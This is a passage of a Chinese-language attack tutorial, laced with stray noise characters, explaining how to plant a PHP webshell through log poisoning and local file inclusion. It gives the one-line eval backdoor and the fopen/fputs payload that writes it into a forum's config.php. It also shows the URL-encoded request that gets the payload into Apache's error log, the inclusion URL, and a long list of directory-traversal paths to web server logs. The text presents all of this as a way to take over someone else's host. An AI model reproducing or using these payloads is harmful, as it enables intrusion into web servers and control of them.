因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
, ?( e; d3 A) D9 E% ?, ^$ K, z5 T2 D6 E0 u! e* l3 ^6 j. ~: P. x
比如还是这句一句话木马 2 t) P3 o7 J8 k6 Z8 _% B
<?eval($_POST[cmd]);?> 6 e7 B4 Z& d, m) m0 v. F
& H/ ?, s# d7 o/ m到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, + F1 o7 m: u* e" g, G; U8 S
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 , \, \( q; O! c( `0 ~% X: \; j- s
# s$ K1 F9 Z- Z0 [6 {3 y- [<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
- K4 U, O/ C5 F2 K9 m, `fclose($fp);?> //在config.php里写入一句木马语句 5 I3 [5 v, B0 I$ Q; D" S& M* }
8 ^7 F4 i' x5 B P我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
2 S: |8 V. V. z! ]( U转换为 + @5 T. x9 L& a3 z2 Y1 e. E( h3 v
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
. [- J' o4 I1 Wconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
3 k) `% q: x8 {% c6 {! Y$ E# F%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B ) J/ o7 m, }) L- i! }. `# C7 n1 _% Q
fclose%28%24fp%29%3B%3F%3E
. F+ J6 R( I5 Z: [$ J! E" r) \( F4 z我们提交
' v5 i( d! h* x9 O$ ~http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww " M H5 x. Q8 X4 t C8 J# R
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp " |% i0 ?( ?: [/ ^
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B # @; n! y% u. f6 r$ n: l) B/ L
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E # ]" r- {$ [$ t: C( F
& D6 f( i: W/ p- r0 o/ S这样就错误日志里就记录下了这行写入webshell的代码。 7 a# V) {& b2 y2 ~. ~5 n8 ^
我们再来包含日志,提交 4 w/ W [$ o' O
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
, a7 U& L! l3 u2 V* W& ?( H& H
6 }- G1 }$ A/ g这样webshell就写入成功了,config.php里就写入一句木马语句
6 v2 b* n& v+ O! b. D! W. fOK.
7 b$ D% N( s8 yhttp://www.xxx.com/forum/config.php这个就成了我们的webshell : \2 B; K6 R/ d- ~3 E* C. q( A
直接用lanker的客户端一连,主机就是你的了。 ! w2 h t( M2 W- c0 [0 ]2 }
r3 ?9 o o: W* e5 _# b( kPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 5 V9 x) @6 S7 p! _3 P0 I
4 W& ~5 s8 M% @+ x1 q% Q& h! n
其他的日志路径,你可以去猜,也可以参照这里。
; M `/ V& ?1 U' h1 S" d: x5 `../../../../../../../../../../var/log/httpd/access_log
' ]. |; \3 v( T../../../../../../../../../../var/log/httpd/error_log , v. c4 `6 L' }" @
../apache/logs/error.log
, S4 b; i) G8 X7 |0 W4 [* ?../apache/logs/access.log 9 }; m l+ j0 s( z6 m8 ]* s% j. ~, r
../../apache/logs/error.log
$ t5 d7 h: ]2 p../../apache/logs/access.log
" _; {0 M6 f* h7 E../../../apache/logs/error.log
6 a/ |' U: ~; O. x" q../../../apache/logs/access.log
' o5 e: E7 B( a../../../../../../../../../../etc/httpd/logs/acces_log # b, z, V8 u7 ?9 N7 B
../../../../../../../../../../etc/httpd/logs/acces.log
3 p- ^ w( ]( i../../../../../../../../../../etc/httpd/logs/error_log
# C4 A6 U |; U# `5 Y" s G, u../../../../../../../../../../etc/httpd/logs/error.log
- c. b6 ^& M% X# Z# `% [& f../../../../../../../../../../var/www/logs/access_log " f' l. t; R) V/ l( g ]# h
../../../../../../../../../../var/www/logs/access.log : b" ^+ X3 F. e
../../../../../../../../../../usr/local/apache/logs/access_log
( i% l% S8 B$ }* t../../../../../../../../../../usr/local/apache/logs/access.log
F3 g/ B) @# Q" }/ C7 |../../../../../../../../../../var/log/apache/access_log
* ]5 e8 G6 o3 e3 f7 V- H../../../../../../../../../../var/log/apache/access.log
1 V: l5 ?! [, U% h- q0 V../../../../../../../../../../var/log/access_log
/ j* k# h( [0 v/ ]* r2 m../../../../../../../../../../var/www/logs/error_log 8 n6 @0 L$ ?5 p9 m; r: T) e* `: E
../../../../../../../../../../var/www/logs/error.log 1 R1 Z! v( |5 {7 [2 Q& w9 W
../../../../../../../../../../usr/local/apache/logs/error_log * ^$ n: _! q0 e/ F- ~2 M* z
../../../../../../../../../../usr/local/apache/logs/error.log , g5 g1 |( H. \; u6 O4 p( m
../../../../../../../../../../var/log/apache/error_log
# P9 C) g9 O' x6 z4 g0 x6 C../../../../../../../../../../var/log/apache/error.log 2 H" y0 O: n, G2 Y0 b) T1 U
../../../../../../../../../../var/log/access_log
, i2 A; ?+ ~+ `2 U; m _# a../../../../../../../../../../var/log/error_log 8 h# P) E5 b+ t, ?
/var/log/httpd/access_log ( Z( l. j' b% ~4 @9 L( d: w
/var/log/httpd/error_log 0 n/ V& r$ k4 U; b
../apache/logs/error.log 1 x- T- Z7 E3 n5 K( _3 ]
../apache/logs/access.log $ b2 B9 C, Y) X3 Y5 O3 b5 O
../../apache/logs/error.log
. S8 p( J4 u8 X ^' P../../apache/logs/access.log 3 t* C, u: C& X6 r
../../../apache/logs/error.log : F$ `6 n+ ]( C/ _
../../../apache/logs/access.log * g+ m0 B4 D$ ?& X! X
/etc/httpd/logs/acces_log
. Q( X' h6 s& I/etc/httpd/logs/acces.log : n8 \' R. s& ~* {: p1 L' P
/etc/httpd/logs/error_log 4 V$ `8 k+ H+ r7 W* D& K
/etc/httpd/logs/error.log ) B: G& A/ T0 F3 A) D% S( m
/var/www/logs/access_log
8 G! E. G0 U n8 M0 d/var/www/logs/access.log
: |8 ]/ U" J# H5 C* l9 x x/usr/local/apache/logs/access_log
7 f! b5 e2 _' i& q/usr/local/apache/logs/access.log
% x" Q, X2 L5 U% [( ]: m1 \# e/var/log/apache/access_log
/ }5 r0 O W1 \& G w8 R9 J: b8 X/var/log/apache/access.log % J# x& A( T$ H0 ?; W( R, j' M
/var/log/access_log ( U D+ S. ^+ E8 _6 O; v* J" c4 B9 \: `, P* J
/var/www/logs/error_log
0 ]3 Y% `( y/ i1 W j! t+ C/var/www/logs/error.log 1 S' ~) W% S# ]: F1 P# w- {4 _ I0 [% \6 }
/usr/local/apache/logs/error_log
+ A& }, R4 c0 y+ p% ^/usr/local/apache/logs/error.log / g9 X+ c5 N3 ?* ]* x0 R
/var/log/apache/error_log
% V! q" o; Y& E. w2 { p+ I/ b/var/log/apache/error.log ! W; V# K' E9 |1 W+ |4 l) |3 o( H
/var/log/access_log
2 Y! I+ X* S) F) s2 ~/var/log/error_log |